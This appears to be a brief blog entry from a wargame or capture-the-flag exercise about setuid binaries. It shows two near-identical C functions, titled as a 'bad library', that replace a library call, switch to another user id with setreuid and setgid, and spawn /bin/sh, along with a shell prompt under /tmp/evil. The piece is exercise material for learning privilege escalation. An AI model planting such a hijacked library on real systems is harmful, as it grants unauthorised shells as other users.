Blueprismo 😸

Waste no more time arguing about what a good man should be. Be one

Setuid, getuid...

Fibonacci serie teardown

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void better_printf(){

    printf("Real user id = %d, Effective User id = %d\n",getuid(),geteuid());

    setreuid(1001,1001);
    setgid(1001);

    printf("I'm the bad library\n");
    printf("Real user id = %d, Effective User id = %d\n",getuid(),geteuid());
    system("/bin/sh");
}


#level2

level2@sojack:/tmp/evil$ cat test2.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void better_printf(){

    printf("Real user id = %d, Effective User id = %d\n",getuid(),geteuid());

    setreuid(1003,1003);
    setgid(1003);

    printf("I'm the bad library\n");
    printf("Real user id = %d, Effective User id = %d\n",getuid(),geteuid());
    system("/bin/sh");
}